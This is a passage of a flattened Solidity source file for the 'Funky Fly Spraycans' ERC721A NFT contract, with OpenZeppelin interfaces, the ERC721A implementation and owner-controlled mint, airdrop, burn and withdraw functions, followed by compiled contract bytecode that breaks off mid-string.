standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: https://github.com/chiru-labs/ERC721A/blob/main/contracts/ERC721A.sol // Creator: Chiru Labs pragma solidity ^0.8.4; error ApprovalCallerNotOwnerNorApproved(); error ApprovalQueryForNonexistentToken(); error ApproveToCaller(); error ApprovalToCurrentOwner(); error BalanceQueryForZeroAddress(); error MintToZeroAddress(); error MintZeroQuantity(); error OwnerQueryForNonexistentToken(); error TransferCallerNotOwnerNorApproved(); error TransferFromIncorrectOwner(); error TransferToNonERC721ReceiverImplementer(); error TransferToZeroAddress(); error URIQueryForNonexistentToken(); /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at _startTokenId() (defaults to 0, e.g. 0, 1, 2, 3..). * * Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply. * * Assumes that the maximum token id cannot exceed 2**256 - 1 (max value of uint256). */ contract ERC721A is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Compiler will pack this into a single 256bit word. struct TokenOwnership { // The address of the owner. address addr; // Keeps track of the start time of ownership with minimal overhead for tokenomics. uint64 startTimestamp; // Whether the token has been burned. bool burned; } // Compiler will pack this into a single 256bit word. struct AddressData { // Realistically, 2**64-1 is more than enough. uint64 balance; // Keeps track of mint count with minimal overhead for tokenomics. uint64 numberMinted; // Keeps track of burn count with minimal overhead for tokenomics. uint64 numberBurned; // For miscellaneous variable(s) pertaining to the address // (e.g. number of whitelist mint slots used). // If there are multiple variables, please pack them into a uint64. uint64 aux; } // The tokenId of the next token to be minted. uint256 internal _currentIndex; // The number of tokens burned. uint256 internal _burnCounter; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See _ownershipOf implementation for details. mapping(uint256 => TokenOwnership) internal _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _currentIndex = _startTokenId(); } /** * To change the starting tokenId, please override this function. */ function _startTokenId() internal view virtual returns (uint256) { return 1; } /** * @dev Burned tokens are calculated here, use _totalMinted() if you want to count just minted tokens. */ function totalSupply() public view returns (uint256) { // Counter underflow is impossible as _burnCounter cannot be incremented // more than _currentIndex - _startTokenId() times unchecked { return _currentIndex - _burnCounter - _startTokenId(); } } /** * Returns the total amount of tokens minted in the contract. */ function _totalMinted() internal view returns (uint256) { // Counter underflow is impossible as _currentIndex does not decrement, // and it is initialized to _startTokenId() unchecked { return _currentIndex - _startTokenId(); } } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { if (owner == address(0)) revert BalanceQueryForZeroAddress(); return uint256(_addressData[owner].balance); } /** * Returns the number of tokens minted by `owner`. */ function _numberMinted(address owner) internal view returns (uint256) { return uint256(_addressData[owner].numberMinted); } /** * Returns the number of tokens burned by or on behalf of `owner`. */ function _numberBurned(address owner) internal view returns (uint256) { return uint256(_addressData[owner].numberBurned); } /** * Returns the auxillary data for `owner`. (e.g. number of whitelist mint slots used). */ function _getAux(address owner) internal view returns (uint64) { return _addressData[owner].aux; } /** * Sets the auxillary data for `owner`. (e.g. number of whitelist mint slots used). * If there are multiple variables, please pack them into a uint64. */ function _setAux(address owner, uint64 aux) internal { _addressData[owner].aux = aux; } /** * Gas spent here starts off proportional to the maximum mint batch size. * It gradually moves to O(1) as tokens get transferred around in the collection over time. */ function _ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { uint256 curr = tokenId; unchecked { if (_startTokenId() <= curr && curr < _currentIndex) { TokenOwnership memory ownership = _ownerships[curr]; if (!ownership.burned) { if (ownership.addr != address(0)) { return ownership; } // Invariant: // There will always be an ownership that has an address and is not burned // before an ownership that does not have an address and is not burned. // Hence, curr will not underflow. while (true) { curr--; ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } } } } revert OwnerQueryForNonexistentToken(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return _ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { if (!_exists(tokenId)) revert URIQueryForNonexistentToken(); string memory baseURI = _baseURI(); return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ''; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ''; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ERC721A.ownerOf(tokenId); if (to == owner) revert ApprovalToCurrentOwner(); if (_msgSender() != owner && !isApprovedForAll(owner, _msgSender())) { revert ApprovalCallerNotOwnerNorApproved(); } _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken(); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { if (operator == _msgSender()) revert ApproveToCaller(); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ''); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { _transfer(from, to, tokenId); if (to.isContract() && !_checkContractOnERC721Received(from, to, tokenId, _data)) { revert TransferToNonERC721ReceiverImplementer(); } } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return _startTokenId() <= tokenId && tokenId < _currentIndex && !_ownerships[tokenId].burned; } function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ''); } /** * @dev Safely mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { _mint(to, quantity, _data, true); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _mint( address to, uint256 quantity, bytes memory _data, bool safe ) internal { uint256 startTokenId = _currentIndex; if (to == address(0)) revert MintToZeroAddress(); if (quantity == 0) revert MintZeroQuantity(); _beforeTokenTransfers(address(0), to, startTokenId, quantity); // Overflows are incredibly unrealistic. // balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1 // updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1 unchecked { _addressData[to].balance += uint64(quantity); _addressData[to].numberMinted += uint64(quantity); _ownerships[startTokenId].addr = to; _ownerships[startTokenId].startTimestamp = uint64(block.timestamp); uint256 updatedIndex = startTokenId; uint256 end = updatedIndex + quantity; if (safe && to.isContract()) { do { emit Transfer(address(0), to, updatedIndex); if (!_checkContractOnERC721Received(address(0), to, updatedIndex++, _data)) { revert TransferToNonERC721ReceiverImplementer(); } } while (updatedIndex != end); // Reentrancy protection if (_currentIndex != startTokenId) revert(); } else { do { emit Transfer(address(0), to, updatedIndex++); } while (updatedIndex != end); } _currentIndex = updatedIndex; } _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = _ownershipOf(tokenId); if (prevOwnership.addr != from) revert TransferFromIncorrectOwner(); bool isApprovedOrOwner = (_msgSender() == from || isApprovedForAll(from, _msgSender()) || getApproved(tokenId) == _msgSender()); if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved(); if (to == address(0)) revert TransferToZeroAddress(); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, from); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256. unchecked { _addressData[from].balance -= 1; _addressData[to].balance += 1; TokenOwnership storage currSlot = _ownerships[tokenId]; currSlot.addr = to; currSlot.startTimestamp = uint64(block.timestamp); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; TokenOwnership storage nextSlot = _ownerships[nextTokenId]; if (nextSlot.addr == address(0)) { // This will suffice for checking _exists(nextTokenId), // as a burned slot cannot contain the zero address. if (nextTokenId != _currentIndex) { nextSlot.addr = from; nextSlot.startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev This is equivalent to _burn(tokenId, false) */ function _burn(uint256 tokenId) internal virtual { _burn(tokenId, false); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId, bool approvalCheck) internal virtual { TokenOwnership memory prevOwnership = _ownershipOf(tokenId); address from = prevOwnership.addr; if (approvalCheck) { bool isApprovedOrOwner = (_msgSender() == from || isApprovedForAll(from, _msgSender()) || getApproved(tokenId) == _msgSender()); if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved(); } _beforeTokenTransfers(from, address(0), tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, from); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256. unchecked { AddressData storage addressData = _addressData[from]; addressData.balance -= 1; addressData.numberBurned += 1; // Keep track of who burned the token, and the timestamp of burning. TokenOwnership storage currSlot = _ownerships[tokenId]; currSlot.addr = from; currSlot.startTimestamp = uint64(block.timestamp); currSlot.burned = true; // If the ownership slot of tokenId+1 is not explicitly set, that means the burn initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; TokenOwnership storage nextSlot = _ownerships[nextTokenId]; if (nextSlot.addr == address(0)) { // This will suffice for checking _exists(nextTokenId), // as a burned slot cannot contain the zero address. if (nextTokenId != _currentIndex) { nextSlot.addr = from; nextSlot.startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(from, address(0), tokenId); _afterTokenTransfers(from, address(0), tokenId, 1); // Overflow not possible, as _burnCounter cannot be exceed _currentIndex times. unchecked { _burnCounter++; } } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkContractOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert TransferToNonERC721ReceiverImplementer(); } else { assembly { revert(add(32, reason), mload(reason)) } } } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * And also called before burning one token. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, `tokenId` will be burned by `from`. * - `from` and `to` are never both zero. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * And also called after one token has been burned. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` has been * transferred to `to`. * - When `from` is zero, `tokenId` has been minted for `to`. * - When `to` is zero, `tokenId` has been burned by `from`. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} } pragma solidity ^0.8.7; contract FunkyFlyCans is ERC721A, Ownable { using Strings for uint256; string public baseMetaUri; //General Settings uint16 public maxMintAmountPerTransaction = 1; uint16 public maxMintAmountPerWallet = 1000; //Inventory uint256 public maxSupply = 5500; //Prices uint256 public cost = 0.07 ether; //Utility bool public paused = true; constructor(string memory _baseUrl) ERC721A("Funky Fly Spraycans", "FFLYC") { baseMetaUri = _baseUrl; } function numberMinted(address owner) public view returns (uint256) { return _numberMinted(owner); } // public function mint(uint256 _mintAmount) public payable { if (msg.sender != owner()) { uint256 ownerTokenCount = balanceOf(msg.sender); require(!paused, "Contract Paused"); require(_mintAmount > 0, "Mint amount should be greater than 0"); require( _mintAmount <= maxMintAmountPerTransaction, "Sorry you cant mint this amount at once" ); require( totalSupply() + _mintAmount <= maxSupply, "Exceeds Max Supply" ); require( (ownerTokenCount + _mintAmount) <= maxMintAmountPerWallet, "Sorry you cant mint more" ); require( msg.value >= cost * _mintAmount, "Insuffient funds"); } _mintLoop(msg.sender, _mintAmount); } function gift(address _to, uint256 _mintAmount) public onlyOwner { _mintLoop(_to, _mintAmount); } function airdrop(address[] memory _airdropAddresses) public onlyOwner { for (uint256 i = 0; i < _airdropAddresses.length; i++) { address to = _airdropAddresses[i]; _mintLoop(to, 1); } } function _baseURI() internal view virtual override returns (string memory) { return baseMetaUri; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, tokenId.toString())) : ""; } function setCost(uint256 _newCost) public onlyOwner { cost = _newCost; } //Burn functions function batchBurn(uint256[] memory _BurnTokenIds) public virtual { for(uint256 i = 0; i < _BurnTokenIds.length; i++){ _burn(_BurnTokenIds[i], true); } } function burn(uint256 _BurnTokenId) public virtual{ _burn(_BurnTokenId, true); } function setmaxMintAmountPerTransaction(uint16 _amount) public onlyOwner { maxMintAmountPerTransaction = _amount; } function setMaxMintAmountPerWallet(uint16 _amount) public onlyOwner { maxMintAmountPerWallet = _amount; } function setMaxSupply(uint256 _supply) public onlyOwner { maxSupply = _supply; } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseMetaUri = _newBaseURI; } function togglePause() public onlyOwner { paused = !paused; } function _mintLoop(address _receiver, uint256 _mintAmount) internal { _safeMint(_receiver, _mintAmount); } function withdraw() public payable onlyOwner { (bool success, ) = payable(msg.sender).call{ value: address(this).balance }(""); require(success); } }
0x60806040526004361061020f5760003560e01c80638da5cb5b11610118578063c87b56dd116100a0578063dc33e6811161006f578063dc33e681146105d2578063dc8e92ea146105f2578063e97800cb14610612578063e985e9c514610632578063f2fde38b1461067b57600080fd5b8063c87b56dd1461055c578063cbce4c971461057c578063cef117291461059c578063d5abeb01146105bc57600080fd5b8063aa5aa2f6116100e7578063aa5aa2f6146104c3578063b88d4fde146104d8578063bbb89744146104f8578063bc951b9114610526578063c4ae31681461054757600080fd5b80638da5cb5b1461045d57806395d89b411461047b578063a0712d6814610490578063a22cb465146104a357600080fd5b806342966c681161019b5780636352211e1161016a5780636352211e146103c85780636f8b44b0146103e857806370a0823114610408578063715018a614610428578063729ad39e1461043d57600080fd5b806342966c681461034e57806344a0d68a1461036e57806355f804b31461038e5780635c975abb146103ae57600080fd5b806313faede6116101e257806313faede6146102c557806318160ddd146102e957806323b872dd146103065780633ccfd60b1461032657806342842e0e1461032e57600080fd5b806301ffc9a71461021457806306fdde0314610249578063081812fc1461026b578063095ea7b3146102a3575b600080fd5b34801561022057600080fd5b5061023461022f366004611b6d565b61069b565b60405190151581526020015b60405180910390f35b34801561025557600080fd5b5061025e6106ed565b6040516102409190611be2565b34801561027757600080fd5b5061028b610286366004611bf5565b61077f565b6040516001600160a01b039091168152602001610240565b3480156102af57600080fd5b506102c36102be366004611c2a565b6107c3565b005b3480156102d157600080fd5b506102db600c5481565b604051908152602001610240565b3480156102f557600080fd5b5060015460005403600019016102db565b34801561031257600080fd5b506102c3610321366004611c54565b610851565b6102c361085c565b34801561033a57600080fd5b506102c3610349366004611c54565b6108e7565b34801561035a57600080fd5b506102c3610369366004611bf5565b610902565b34801561037a57600080fd5b506102c3610389366004611bf5565b61090d565b34801561039a57600080fd5b506102c36103a9366004611d2d565b61093c565b3480156103ba57600080fd5b50600d546102349060ff1681565b3480156103d457600080fd5b5061028b6103e3366004611bf5565b61097d565b3480156103f457600080fd5b506102c3610403366004611bf5565b61098f565b34801561041457600080fd5b506102db610423366004611d75565b6109be565b34801561043457600080fd5b506102c3610a0c565b34801561044957600080fd5b506102c3610458366004611db3565b610a42565b34801561046957600080fd5b506008546001600160a01b031661028b565b34801561048757600080fd5b5061025e610ab4565b6102c361049e366004611bf5565b610ac3565b3480156104af57600080fd5b506102c36104be366004611e4f565b610d09565b3480156104cf57600080fd5b5061025e610d9f565b3480156104e457600080fd5b506102c36104f3366004611e8b565b610e2d565b34801561050457600080fd5b50600a546105139061ffff1681565b60405161ffff9091168152602001610240565b34801561053257600080fd5b50600a546105139062010000900461ffff1681565b34801561055357600080fd5b506102c3610e7e565b34801561056857600080fd5b5061025e610577366004611bf5565b610ebc565b34801561058857600080fd5b506102c3610597366004611c2a565b610f87565b3480156105a857600080fd5b506102c36105b7366004611f06565b610fbb565b3480156105c857600080fd5b506102db600b5481565b3480156105de57600080fd5b506102db6105ed366004611d75565b611005565b3480156105fe57600080fd5b506102c361060d366004611f2a565b611033565b34801561061e57600080fd5b506102c361062d366004611f06565b611075565b34801561063e57600080fd5b5061023461064d366004611faf565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205460ff1690565b34801561068757600080fd5b506102c3610696366004611d75565b6110b7565b60006001600160e01b031982166380ac58cd60e01b14806106cc57506001600160e01b03198216635b5e139f60e01b145b806106e757506301ffc9a760e01b6001600160e01b03198316145b92915050565b6060600280546106fc90611fe2565b80601f016020809104026020016040519081016040528092919081815260200182805461072890611fe2565b80156107755780601f1061074a57610100808354040283529160200191610775565b820191906000526020600020905b81548152906001019060200180831161075857829003601f168201915b5050505050905090565b600061078a8261114f565b6107a7576040516333d1c03960e21b815260040160405180910390fd5b506000908152600660205260409020546001600160a01b031690565b60006107ce8261097d565b9050806001600160a01b0316836001600160a01b031614156108035760405163250fdee360e21b815260040160405180910390fd5b336001600160a01b038216148015906108235750610821813361064d565b155b15610841576040516367d9dca160e11b815260040160405180910390fd5b61084c838383611188565b505050565b61084c8383836111e4565b6008546001600160a01b0316331461088f5760405162461bcd60e51b81526004016108869061201d565b60405180910390fd5b604051600090339047908381818185875af1925050503d80600081146108d1576040519150601f19603f3d011682016040523d82523d6000602084013e6108d6565b606091505b50509050806108e457600080fd5b50565b61084c83838360405180602001604052806000815250610e2d565b6108e48160016113c0565b6008546001600160a01b031633146109375760405162461bcd60e51b81526004016108869061201d565b600c55565b6008546001600160a01b031633146109665760405162461bcd60e51b81526004016108869061201d565b8051610979906009906020840190611abe565b5050565b600061098882611573565b5192915050565b6008546001600160a01b031633146109b95760405162461bcd60e51b81526004016108869061201d565b600b55565b60006001600160a01b0382166109e7576040516323d3ad8160e21b815260040160405180910390fd5b506001600160a01b03166000908152600560205260409020546001600160401b031690565b6008546001600160a01b03163314610a365760405162461bcd60e51b81526004016108869061201d565b610a40600061169a565b565b6008546001600160a01b03163314610a6c5760405162461bcd60e51b81526004016108869061201d565b60005b8151811015610979576000828281518110610a8c57610a8c612052565b60200260200101519050610aa18160016116ec565b5080610aac8161207e565b915050610a6f565b6060600380546106fc90611fe2565b6008546001600160a01b03163314610cff576000610ae0336109be565b600d5490915060ff1615610b285760405162461bcd60e51b815260206004820152600f60248201526e10dbdb9d1c9858dd0814185d5cd959608a1b6044820152606401610886565b60008211610b845760405162461bcd60e51b8152602060048201526024808201527f4d696e7420616d6f756e742073686f756c6420626520677265617465722074686044820152630616e20360e41b6064820152608401610886565b600a5461ffff16821115610bea5760405162461bcd60e51b815260206004820152602760248201527f536f72727920796f752063616e74206d696e74207468697320616d6f756e74206044820152666174206f6e636560c81b6064820152608401610886565b600b546001546000548491900360001901610c059190612099565b1115610c485760405162461bcd60e51b815260206004820152601260248201527145786365656473204d617820537570706c7960701b6044820152606401610886565b600a5462010000900461ffff16610c5f8383612099565b1115610cad5760405162461bcd60e51b815260206004820152601860248201527f536f72727920796f752063616e74206d696e74206d6f726500000000000000006044820152606401610886565b81600c54610cbb91906120b1565b341015610cfd5760405162461bcd60e51b815260206004820152601060248201526f496e7375666669656e742066756e647360801b6044820152606401610886565b505b6108e433826116ec565b6001600160a01b038216331415610d335760405163b06307db60e01b815260040160405180910390fd5b3360008181526007602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b60098054610dac90611fe2565b80601f0160208091040260200160405190810160405280929190818152602001828054610dd890611fe2565b8015610e255780601f10610dfa57610100808354040283529160200191610e25565b820191906000526020600020905b815481529060010190602001808311610e0857829003601f168201915b505050505081565b610e388484846111e4565b6001600160a01b0383163b15158015610e5a5750610e58848484846116f6565b155b15610e78576040516368d2bf6b60e11b815260040160405180910390fd5b50505050565b6008546001600160a01b03163314610ea85760405162461bcd60e51b81526004016108869061201d565b600d805460ff19811660ff90911615179055565b6060610ec78261114f565b610f2b5760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b6064820152608401610886565b6000610f356117ee565b90506000815111610f555760405180602001604052806000815250610f80565b80610f5f846117fd565b604051602001610f709291906120d0565b6040516020818303038152906040525b9392505050565b6008546001600160a01b03163314610fb15760405162461bcd60e51b81526004016108869061201d565b61097982826116ec565b6008546001600160a01b03163314610fe55760405162461bcd60e51b81526004016108869061201d565b600a805461ffff909216620100000263ffff000019909216919091179055565b6001600160a01b038116600090815260056020526040812054600160401b90046001600160401b03166106e7565b60005b81518110156109795761106382828151811061105457611054612052565b602002602001015160016113c0565b8061106d8161207e565b915050611036565b6008546001600160a01b0316331461109f5760405162461bcd60e51b81526004016108869061201d565b600a805461ffff191661ffff92909216919091179055565b6008546001600160a01b031633146110e15760405162461bcd60e51b81526004016108869061201d565b6001600160a01b0381166111465760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610886565b6108e48161169a565b600081600111158015611163575060005482105b80156106e7575050600090815260046020526040902054600160e01b900460ff161590565b60008281526006602052604080822080546001600160a01b0319166001600160a01b0387811691821790925591518593918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050565b60006111ef82611573565b9050836001600160a01b031681600001516001600160a01b0316146112265760405162a1148160e81b815260040160405180910390fd5b6000336001600160a01b03861614806112445750611244853361064d565b8061125f5750336112548461077f565b6001600160a01b0316145b90508061127f57604051632ce44b5f60e11b815260040160405180910390fd5b6001600160a01b0384166112a657604051633a954ecd60e21b815260040160405180910390fd5b6112b260008487611188565b6001600160a01b038581166000908152600560209081526040808320805467ffffffffffffffff198082166001600160401b0392831660001